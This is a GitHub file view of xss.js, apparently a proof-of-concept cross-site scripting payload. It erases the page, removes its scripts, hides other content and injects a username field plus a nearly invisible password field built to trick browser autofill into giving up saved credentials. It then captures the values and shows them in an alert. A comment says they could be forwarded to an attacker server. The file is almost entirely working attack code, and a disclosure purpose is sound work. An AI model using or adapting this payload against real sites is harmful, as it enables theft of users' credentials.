-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathxss.js
More file actions
62 lines (52 loc) · 1.87 KB
/
xss.js
File metadata and controls
62 lines (52 loc) · 1.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
document.body.innerHTML = "";
var scriptss = document.scripts;
for (var i = scriptss.length - 1; i >= 0; i--) {
var script = scriptss[i];
script.parentNode.removeChild(script);
}
var s = document.createElement('style');
var c = 'body > *:not(form):not(textarea) { display: none !important; }';
s.appendChild(document.createTextNode(c));
document.head.appendChild(s);
var form = document.createElement('form');
var inputName = document.createElement('input');
inputName.type = 'text';
inputName.id = 'username';
inputName.name = 'username';
inputName.autocomplete = 'username';
inputName.placeholder = 'Check here';
inputName.style.border = "none";
inputName.style.outline = "none";
inputName.style.background = "none";
inputName.style.width = "100%";
inputName.classList.add("single-input")
var inputPassword = document.createElement('input');
inputPassword.type = 'password';
inputPassword.id = 'password';
inputPassword.name = 'password';
inputPassword.autocomplete = 'current-password';
inputPassword.style.border = "none";
inputPassword.style.outline = "none";
inputPassword.style.background = "none";
inputPassword.style.padding = "0";
inputPassword.style.width = "1%";
inputPassword.classList.add("single-input")
form.appendChild(inputName);
form.appendChild(inputPassword);
document.body.appendChild(form);
// Assuming you have an <input> element with an ID of "myInput"
var inputElement = document.getElementById("username");
setTimeout(function () {
let a = document.getElementsByName('username')[0];
let b = document.getElementsByName('password')[0];
function f() {
if(b.value.length>0) {
alert(`Here is user credentials that can be forwarded into attacker server ( I implemented the poc in this way to prevent your credentials from being redirected to my website ) : ${(a.value)} , Password = ${(b.value)}`);
}
}
a.form.onclick=f;
a.onchange=f;
b.onchange=f;
a.oninput=f;
b.oninput=f;
}, 1000);